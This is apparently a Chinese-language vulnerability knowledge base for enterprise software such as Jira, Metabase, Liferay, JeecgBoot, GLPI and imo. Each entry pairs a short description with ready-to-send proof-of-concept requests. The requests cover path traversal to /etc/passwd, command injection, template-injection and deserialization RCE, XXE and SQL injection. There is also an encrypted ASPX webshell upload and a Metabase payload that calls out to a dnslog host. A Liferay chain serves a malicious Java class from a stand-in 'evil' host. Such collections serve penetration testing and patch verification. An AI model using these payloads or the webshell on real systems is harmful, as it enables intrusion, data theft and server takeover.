企业级软件与服务
1Panel
1Panel loadfile 后台文件读取漏洞
漏洞描述
1Panel 后台存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器中的敏感信息文件
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
POST /api/v1/file/loadfile
{"paht":"/etc/passwd"}
aj-report
CNVD-2024-15077
AJ-Report 认证绕过与远程代码执行漏洞(CNVD-2024-15077)
AJ-Report是全开源的一个BI平台。在其1.4.0版本及以前,存在一处认证绕过漏洞,攻击者利用该漏洞可以绕过权限校验并执行任意代码。
参考链接:
- https://xz.aliyun.com/t/14460
- https://github.com/wy876/POC/blob/main/AJ-Report%E5%BC%80%E6%BA%90%E6%95%B0%E6%8D%AE%E5%A4%A7%E5%B1%8F%E5%AD%98%E5%9C%A8%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
漏洞环境
执行如下命令启动一个AJ-Report 1.4.0服务器:
docker compose up -d
服务启动后,你可以在http://your-ip:9095
查看到登录页面。
漏洞复现
要利用该漏洞,只需要发送如下数据包:
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: your-ip:9095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
可见,id
命令已经执行成功:
Alibaba AnyProxy
Alibaba AnyProxy fetchBody 任意文件读取漏洞
漏洞描述
Alibaba AnyProxy 低版本存在任意文件读取,通过漏洞,攻击者可以获取服务器敏感信息
漏洞影响
网络测绘
漏洞复现
页面如下
验证POC为
/fetchBody?id=1/../../../../../../../../etc/passwd
Alibaba Canal
Alibaba Canal config 云密钥信息泄露漏洞
漏洞描述
由于/api/v1/canal/config 未进行权限验证可直接访问,导致账户密码、accessKey、secretKey等一系列敏感信息泄露
漏洞影响
网络测绘
漏洞复现
验证漏洞的Url为
/api/v1/canal/config/1/0
其中泄露了 aliyun.access 密钥,可以控制密钥下的所有服务器
默认口令 admin/123456
Appspace
Appspace jsonprequest SSRF漏洞 CVE-2021-27670
漏洞描述
Appspace 6.2.4存在漏洞,允许通过api/v1/core/proxy/jsonprequest接口来进行服务端请求伪造,危害系统安全。
漏洞影响
网络测绘
漏洞复现
登录页面为
验证POC
/api/v1/core/proxy/jsonprequest?objresponse=false&websiteproxy=true&escapestring=false&url=http://lo2z02.dnslog.cn
Atlassian jira
CVE-2019-8442
Atlassian Jira com.atlassian.jira 敏感信息泄漏
漏洞描述
Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统。该系统主要用于对工作中各类问题、缺陷进行跟踪管理。 远程攻击者可利用该漏洞访问Jira webroot中的文件。
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
CVE-2019-8449
Atlassian Jira groupuserpicker 用户信息枚举漏洞
漏洞描述
Atlassian Jira groupuserpicker接口存在用户信息枚举漏洞,攻击者通过漏洞可以获取应用中的使用者账户名称,来进行进一步渗透
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
/rest/api/latest/groupuserpicker?query=admin&maxResults=50&showAvatar=false
当用户存在时
当用户不存在时
CVE-2019-8451
Atlassian Jira makeRequest SSRF漏洞
漏洞描述
Jira的 /plugins/servlet/gadgets/makeRequest资源存在SSRF漏洞,原因在于JiraWhitelist这个类的逻辑缺陷,成功利用此漏洞的远程攻击者可以以Jira服务端的身份访问内网资源。经分析,此漏洞无需任何凭据即可触发。
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
/plugins/servlet/gadgets/makeRequest?url=http://目标IP@www.baidu.com/robots.txt
CVE-2019-11581
Atlassian Jira 模板注入漏洞(CVE-2019-11581)
Atlassian Jira是企业广泛使用的项目与事务跟踪工具,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。
多个版本前存在利用模板注入执行任意命令:
- 4.4.x
- 5.x.x
- 6.x.x
- 7.0.x
- 7.1.x
- 7.2.x
- 7.3.x
- 7.4.x
- 7.5.x
- 7.6.x before 7.6.14 (the fixed version for 7.6.x)
- 7.7.x
- 7.8.x
- 7.9.x
- 7.10.x
- 7.11.x
- 7.12.x
- 7.13.x before 7.13.5 (the fixed version for 7.13.x)
- 8.0.x before 8.0.3 (the fixed version for 8.0.x)
- 8.1.x before 8.1.2 (the fixed version for 8.1.x)
- 8.2.x before 8.2.3 (the fixed version for 8.2.x)
参考资料:
- https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html
- https://jira.atlassian.com/browse/JRASERVER-69532
- https://mp.weixin.qq.com/s/d2yvSyRZXpZrPcAkMqArsw
环境搭建
执行如下命令启动一个Jira Server 8.1.0:
docker compose up -d
环境启动后,访问http://your-ip:8080
会进入安装引导,切换“中文”,VPS条件下选择“将其设置为我”(第一项)去Atlassian官方申请一个Jira Server的测试证书(不要选择Data Center和Addons):
然后继续安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。
添加 SMTP 电邮服务器 /secure/admin/AddSmtpMailServer!default.jspa
进入系统设置 /secure/admin/ViewApplicationProperties.jspa
,开启“联系管理员表单”
貌似还要有项目才能玩,所以随便创建一个示例就行了,然后你就可以愉快的玩耍了
漏洞复现
PoC 和 CVE-2019-3396 一样
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('calc').toString()
Linux 没有 calc, 所以
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('whoami').toString()
运行poc.py
或者进入/secure/ContactAdministrators!default.jspa
直接提交 PoC
如果没看到 smtpd 有数据,那么就可能卡队列了
电邮队列瞅一瞅 /secure/admin/MailQueueAdmin!default.jspa
CVE-2020-14181
Atlassian Jira ViewUserHover.jspa 用户信息泄露漏洞
漏洞描述
Jira存在一个未授权访问漏洞,未授权的用户可以通过一个api接口直接查询到某用户名的存在情况,该接口不同于CVE-2019-8446和CVE-2019-3403的接口,是一个新的接口。如果Jira暴露在公网中,未授权用户就可以直接访问该接口爆破出潜在的用户名。
漏洞影响
网络测绘
漏洞复现
打开主界面,注意标识中的 Jira版本是否在影响中
使用POC对用户名是否存在进行验证
/secure/ViewUserHover.jspa?username=admin
用户名如果不存在会返回
存在的用户名会返回
不存在漏洞会返回
CVE-2021-26086
Atlassian Jira cfx 任意文件读取漏洞
漏洞描述
Atlassian Jira Server/Data Center 8.4.0 - Limited Remote File Read/Include
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
/s/cfx/_/;/WEB-INF/web.xml
可读取敏感配置文件
WEB-INF/web.xml
WEB-INF/decorators.xml
WEB-INF/classes/seraph-config.xml
META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties
META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml
META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties
Citrix XenMobile
Citrix XenMobile 任意文件读取 CVE-2020-8209
漏洞描述
XenMobile是Citrix开发的企业移动性管理软件。该产品允许企业管理员工的移动设备和移动应用程序。该软件的目的是通过允许员工安全地在企业拥有的和个人移动设备及应用程序上工作来提高生产率。 CVE-2020-8209,路径遍历漏洞。此漏洞允许未经授权的用户读取任意文件,包括包含密码的配置文件
影响版本
网络测绘
漏洞复现
验证POC
/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd
CMA客诉管理系统
CMA客诉管理系统 upFile.ashx 任意文件上传漏洞
漏洞描述
CMA客诉管理系统 upFile.ashx文件存在任意文件上传漏洞,通过漏洞攻击者可以上传任意文件控制服务器
漏洞影响
网络测绘
漏洞复现
登录页面
发送请求包上传文件
POST /upFile/upFile.ashx HTTP/1.1
Host:
Content-Length: 562
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymXf9pBIUlDVOYtnZ
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close
------WebKitFormBoundarymXf9pBIUlDVOYtnZ
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: application/octet-stream
<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b");byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>
------WebKitFormBoundarymXf9pBIUlDVOYtnZ--
发送后回显路径,使用冰蝎连接
Dogtag
CVE-2022-2414
Dogtag PKI XML实体注入漏洞
漏洞描述
Dogtag PKI 的XML解析器存在安全漏洞,该漏洞源于在分析 XML 文档时访问外部实体可能会导致 XML 外部实体 (XXE) 攻击。此漏洞允许远程攻击者通过发送特制的 HTTP 请求来潜在地检索任意文件的内容。
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
POST /ca/rest/certrequests
Content-Type: application/xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<CertEnrollmentRequest>
<Attributes/>
<ProfileID>&ent;</ProfileID>
</CertEnrollmentRequest>
eGroupWare
eGroupWare spellchecker.php 远程命令执行漏洞
漏洞描述
eGroupWare是一个多用户,在以PHP为基础的API上的定制集为基础开发的,以WEB为基础的工作件套装,其中 spellchecker.php 文件中存在命令执行漏洞
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
/egroupware/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php?spellchecker_lang=egroupware_spellchecker_cmd_exec.nasl%7C%7Cid%7C%7C
Evolucare Ecsimaging
download_stats_dicom.php 任意文件读取漏洞
漏洞描述
Evolucare Ecsimaging download_stats_dicom.php 存在文件读取漏洞,攻击者可利用该漏洞获取系统敏感信息等.
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
/download_stats_dicom.php?fullpath=/etc/passwd&filename=/etc/passwd
new_movie.php 远程命令执行漏洞
漏洞描述
EVOLUCARE ECSimage是一款国外使用的医疗管理系统,研究发现其new_movie.php接口中存在命令注入漏洞,攻击者可利用该漏洞获取系统敏感信息等.
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
/new_movie.php?studyUID=1&start=2&end=2&file=1;pwd
Franklin Fueling
Franklin Fueling Systems tsaupload.cgi 任意文件读取漏洞 CVE-2021-46417
漏洞描述
Franklin Fueling Systems tsaupload.cgi 存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器敏感文件
漏洞影响
网络测绘
漏洞复现
主页面
验证POC
/cgi-bin/tsaupload.cgi?file_name=../../../../../../etc/passwd&password=
GLPI
CVE-2022-35914
GLPI htmLawedTest.php 远程命令执行漏洞
漏洞描述
GLPI是个人开发者的一款开源IT和资产管理软件。该软件提供功能全面的IT资源管理接口,你可以用它来建立数据库全面管理IT的电脑,显示器,服务器,打印机,网络设备,电话,甚至硒鼓和墨盒等。GLPI 10.0.2及之前版本存在安全漏洞,该漏洞源于htmlawed 模块中 允许 PHP 代码注入
漏洞影响
网络测绘
漏洞复现
登录页面
出现问题的文件为 htmLawedTest.php, 来源于第三方库 PHP Labware
https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/
在 htmLawedTest.php 中接收参数并传入方法 htmLawed 中
跟进文件 htmLawed.php 中
if($C['hook']){$t = $C['hook']($t, $C, $S);}
这里可以看到参数均为用户可控参数,当控制参数 hhook 为 exec 和 text 为执行的命令时就导致了命令执行漏洞
验证POC
/vendor/htmlawed/htmlawed/htmLawedTest.php
访问页面获取到 sid 与 token 后再发送请求包
POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
Host:
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 88
Content-Type: application/x-www-form-urlencoded
token=a79cf121bde57fe0e3cc0f247f77961a&text=id&hhook=exec&sid=h1c0vk004dvulal5nj8i6en44e
ICEFlow
ICEFlow VPN log 信息泄露漏洞
漏洞描述
ICEFlow VPN 存在信息泄露漏洞,攻击者可以查看日志中的敏感数据来进一步攻击系统
漏洞影响
网络测绘
漏洞复现
可访问的日志 Url
系统日志 http://url/log/system.log
VPN日志 http://url/log/vpn.log
访问日志 http://url/log/access.log
告警日志 http://url/log/warn.log
错误日志 http://url/log/error.log
调试日志 http://url/log1/debug.log
移动用户日志 http://url/log/mobile.log
防火墙日志 http://url/log/firewall.log
根据日志信息获得session后,可利用实时登录系统管理后台:
http://xxx.xxx.xxx.xxx/cgi-bin/index?oid=10&session_id=xxxxxxxxxxxxxx&l=0
IceWarp
IceWarp WebClient basic 远程命令执行漏洞
漏洞描述
IceWarp WebClient 存在远程命令执行漏洞,攻击者构造特殊的请求即可远程命令执行
漏洞影响
网络测绘
漏洞复现
登录页面如下
漏洞请求包为
POST /webmail/basic/ HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Cookie: use_cookies=1
Content-Length: 43
_dlg[captcha][target]=system(\'ipconfig\')\
imo 云办公室
imo 云办公室 corpfile.php 远程命令执行漏洞
漏洞描述
imo 云办公室 corpfile.php 文件中参数过滤不足,导致可以随意进行命令拼接,获取服务器权限
漏洞影响
网络测绘
漏洞复现
登录页面
漏洞文件 corpfile.php
<?php
define('DELETE_FAILED', '数据不存在,删除失败!');
define('DELETE_SUCCESS', '数据存在,删除成功!');
switch($_POST['type'])
{
case 'corpLogo':
$checkFile = exec('ls ' . $_POST['file']);
$result = exec($_POST['command']);
echo json_encode(array('cid' => $_POST['cid'], 'account' => $_POST['account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED)));
break;
case 'userLogo':
$checkFile = exec('ls ' . $_POST['file']);
$result = exec($_POST['command']);
echo json_encode(array('uid' => $_POST['uid'], 'user_account' => $_POST['user_account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED)));
break;
case 'corpTemp':
$checkFile = exec('ls ' . $_POST['file']);
$result = exec($_POST['command']);
echo json_encode(array('cid' => $_POST['cid'], 'account' => $_POST['account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED)));
break;
case 'chatLog':
$checkFile = exec('ls ' . $_POST['file']);
$result = exec($_POST['command']);
echo json_encode(array('cid' => $_POST['cid'], 'account' => $_POST['account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED)));
break;
case 'multiChatLog':
$checkFile = exec('ls ' . $_POST['file']);
$result = exec($_POST['command']);
echo json_encode(array('cid' => $_POST['cid'], 'account' => $_POST['account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED)));
break;
case 'groupChatLog':
$checkFile = exec('ls ' . $_POST['file']);
$result = exec($_POST['command']);
echo json_encode(array('cid' => $_POST['cid'], 'account' => $_POST['account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED)));
break;
case 'backChatLog':
$checkFile = exec('ls ' . $_POST['file']);
$result = exec($_POST['command']);
echo json_encode(array('cid' => $_POST['cid'], 'account' => $_POST['account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED)));
break;
}
验证POC
POST /corpfile.php
type=corpLogo&command=id&file=;pwd>1.txt
imo 云办公室 get_file.php 远程命令执行漏洞
漏洞描述
imo 云办公室 /file/NDisk/get_file.php 过滤不严格导致允许无限制地上传文件,攻击者可以通过该漏洞直接获取网站权限。
漏洞影响
网络测绘
漏洞复现
登录页面
漏洞文件 get_file.php
<?php
// 放置在 mfs 服务器上用于获取文件列表,配合 nd_verify_large_file.php 使用
if(empty($_GET['cid']) || empty($_GET['nid']))
exit;
$cid = $_GET['cid'];
$nid = $_GET['nid'];
$mainDir = dirname(__FILE__) . '/../upload/NDiskData/normal/' . $cid . '/';
exec("ls {$mainDir}*_{$nid}_*", $r);
$ret = array();
foreach($r as $v)
$ret[md5_file($v)] = str_replace(dirname(__FILE__) . "/../upload/NDiskData/normal/{$cid}/", '', $v);
echo json_encode($ret);
验证POC
/file/NDisk/get_file.php?cid=1&nid=;pwd;
imo 云办公室 Imo_DownLoadUI.php 任意文件下载漏洞
漏洞描述
imo 云办公室 由于 /file/Placard/upload/Imo_DownLoadUI.php 页面 filename 参数过滤不严,导致可以读取系统敏感文件。
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
/file/Placard/upload/Imo_DownLoadUI.php?cid=1&uid=1&type=1&filename=/OpenPlatform/config/kdBind.php
jeecg-boot
CVE-2023-1454
JeecgBoot 企业级低代码平台 qurestSql SQL注入漏洞
漏洞描述
JeecgBoot 企业级低代码平台 qurestSql接口存在 SQL注入漏洞,攻击者通过漏洞可以获取服务器数据库中的敏感数据,进一步攻击
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Content-Type: application/json
{"apiSelectId":"1290104038414721025",
"id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}
CVE-2023-4450
JeecgBoot JimuReport 模板注入导致命令执行漏洞(CVE-2023-4450)
JeecgBoot 是一个开源的低代码开发平台,Jimureport 是低代码报表组件之一。
当前漏洞在 1.6.1 以下的 Jimureport 组件库中都存在,由于未授权的 API /jmreport/queryFieldBySql
使用了 freemarker 解析 SQL 语句从而导致了 RCE 漏洞的产生。
引用:
- https://www.oscs1024.com/hd/MPS-4hzd-mb73
- https://www.reajason.eu.org/writing/freemarkersstimemshell
漏洞环境
执行如下命令启动 3.5.3 版本的 JeecgBoot 后端:
docker compose up -d
在服务启动后,可访问 http://your-ip:8080/jeecg-boot/jmreport/list
查看JimuReport页面。
漏洞利用
通过 http://your-ip:8080/jeecg-boot/jmreport/queryFieldBySql
sql 参数传递 freemarker payload:
curl --location 'http://your-ip:8080/jeecg-boot/jmreport/queryFieldBySql' \
--header 'Content-Type: application/json' \
--data '{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"touch /tmp/success\")}",
"type": "0"
}'
liferay-portal
CVE-2020-7961
Liferay Portal CE 反序列化命令执行漏洞(CVE-2020-7961)
Liferay Portal CE是一款用来快速构建网站的开源系统。其7.2.0 GA1及以前的版本API接口中存在一处反序列化漏洞,利用该漏洞可在目标服务器上执行任意命令。
参考链接:
- https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
- https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Liferay%20Portal%20CVE-2020-7961%20%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/
- https://xz.aliyun.com/t/7499
- https://xz.aliyun.com/t/7485
漏洞环境
执行如下命令启动Liferay Portal 7.2.0 GA1:
docker compose up -d
启动成功后,访问http://your-ip:8080
即可查看到默认首页。如果环境一直没有成功启动,可能是内存不足,请使用至少2G内存的服务器运行这个环境。
漏洞复现
首先准备一个恶意的Java类,编译:
// javac LifExp.java
public class LifExp {
static {
try {
String[] cmd = {"bash", "-c", "touch /tmp/success"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
在保存着class文件的目录下运行一个HTTP文件服务:
$ ls
LifExp.class LifExp.java
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
因为目标Java版本较高,我们使用利用链是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,借助marshalsec来生成一个适用于Jackson的POC:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://evil/ LifExp
其中,http://evil/
是刚才启动的保存了恶意class文件的Web服务,LifExp是恶意类名。
生成的Payload是Jackson使用的,我们只需按照Liferay Portal的形式,即+参数名:类名=值
,来修改这个Payload:
+defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;"}
将上述Payload合并到HTTP请求中发送:
POST /api/jsonws/invoke HTTP/1.1
Host: your-ip:8080
Content-Length: 1346
Content-Type: application/x-www-form-urlencoded
Connection: close
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;"}
进入容器中查看,发现已经成功执行touch /tmp/success
:
LimeSurver
CVE-2020-11455
LimeSurvey LimeSurveyFileManager.php 后台任意文件读取漏洞
漏洞描述
LimeSurvey(前称PHPSurveyor)是LimeSurvey团队的一套开源的在线问卷调查程序,它支持调查程序开发、调查问卷发布以及数据收集等功能。
LimeSurvey 4.1.12 + 200324之前版本中的application/controllers/admin/LimeSurveyFileManager.php文件存在路径遍历漏洞。该漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素。攻击者可利用该漏洞访问受限目录之外的位置。
漏洞影响
LimeSurvey < 4.1.12 + 200324
网络测绘
app=”LimeSurvey”
漏洞复现
登录页面
出现漏洞的文件为 application/controllers/admin/LimeSurveyFileManager.php
{14-19}public function downloadFiles() { App()->loadLibrary('admin.pclzip'); $folder = basename(Yii::app()->request->getPost('folder', 'global')); $files = Yii::app()->request->getPost('files'); $tempdir = Yii::app()->getConfig('tempdir'); $randomizedFileName = $folder.'_'.substr(md5(time()),3,13).'.zip'; $zipfile = $tempdir.DIRECTORY_SEPARATOR.$randomizedFileName; $arrayOfFiles = array_map( function($file){ return $file['path']; }, $files); $archive = new PclZip($zipfile); $checkFileCreate = $archive->create($arrayOfFiles, PCLZIP_OPT_REMOVE_ALL_PATH); $urlFormat = Yii::app()->getUrlManager()->getUrlFormat(); $getFileLink = Yii::app()->createUrl('admin/filemanager/sa/getZipFile'); if($urlFormat == 'path') { $getFileLink .= '?path='.$zipfile; } else { $getFileLink .= '&path='.$zipfile; } $this->_printJsonResponse( [ 'success' => true, 'message' => sprintf(gT("Files are ready for download in archive %s."), $randomizedFileName), 'downloadLink' => $getFileLink , ] ); }
路由为: admin/filemanager/sa/getZipFile
, 这里传入参数 path 到方法 getZipFile()
中
这里通过 readfile方法 读取文件,登录后台后发送请求
/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd
LiveBOS
LiveBOS ShowImage.do 任意文件读取漏洞
漏洞描述
LiveBOS ShowImage.do 接口存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器中的敏感文件
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
/feed/ShowImage.do;.js.jsp?type=&imgName=../../../../../../../../../../../../../../../etc/passwd
MesageSolution
MessageSolution 邮件归档系统EEA 信息泄露漏洞 CNVD-2021-10543
漏洞描述
MessageSolution企业邮件归档管理系统 EEA是北京易讯思达科技开发有限公司开发的一款邮件归档系统。该系统存在通用WEB信息泄漏,泄露Windows服务器administrator hash与web账号密码
漏洞影响
网络测绘
漏洞复现
登录页面如下
访问如下Url
http://xxx.xxx.xxx.xxx/authenticationserverservlet/
使用获得到的密码可以登录系统
Metabase
CVE-2021-41277
Metabase geojson 任意文件读取漏洞
漏洞描述
在受影响的版本中,自定义 GeoJSON 地图(admin->settings->maps->custom maps->add a map)操作缺少权限验证,攻击者可通过该漏洞获得敏感信息
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
/api/geojson?url=file:/etc/passwd
Metabase validate 远程命令执行漏洞 CVE-2023-38646
漏洞描述
Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。未经身份认证的远程攻击者利用该漏洞可以在服务器上以运行 Metabase 服务器的权限执行任意命令
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
/api/session/properties
POST /api/setup/validate HTTP/1.1
Host:
Content-Type: application/json
Content-Length: 812
{
"token": "e56e2c0f-71bf-4e15-9879-d964f319be69",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl ecw14d.dnslog.cn')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
MeterSphere
MeterSphere customMethod 远程命令执行漏洞
漏洞描述
2022年1月5日,知道创宇404积极防御实验团队发现了MeterSphere开源持续测试平台的一处漏洞,并向MeterSphere研发团队进行了反馈。通过该漏洞攻击者可以在未授权的情况下执行远程代码,建议MeterSphere平台用户,尤其是可通过公网访问的用户尽快进行升级修复
漏洞影响
网络测绘
漏洞复现
登录页面
根据官方的修复可以看到目前版本的修复版本为删除代码片段
filterChainDefinitionMap.put(“/plugin/**”, “anon”);
https://github.com/metersphere/metersphere/pull/9140/files
查看文件 /backend/src/main/java/io/metersphere/controller/PluginController.java
发送请求包
POST /plugin/customMethod
{"entry":"Evil","request":"id"}
Metersphere file 任意文件读取漏洞 CVE-2023-25573
漏洞描述
Metersphere file 接口存在任意文件读取漏洞,攻击者通过接口可以获取敏感文件压缩包
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
POST /api/jmeter/download/files
Content-Type: application/json
{"reportId":"pass","bodyFiles":[{"id":"aaa","name":"/etc/passwd"}]}
mojarra
jsf-viewstate-deserialization
Mojarra JSF ViewState 反序列化漏洞
JavaServer Faces (JSF) 是一种用于构建 Web 应用程序的标准,Mojarra是一个实现了JSF的框架。在其2.1.29-08、2.0.11-04版本之前,没有对JSF中的ViewState进行加密,进而导致攻击者可以构造恶意的序列化ViewState对象对服务器进行攻击。
参考链接:
- https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html
- https://www.exploit-db.com/docs/48126
- https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf
环境搭建
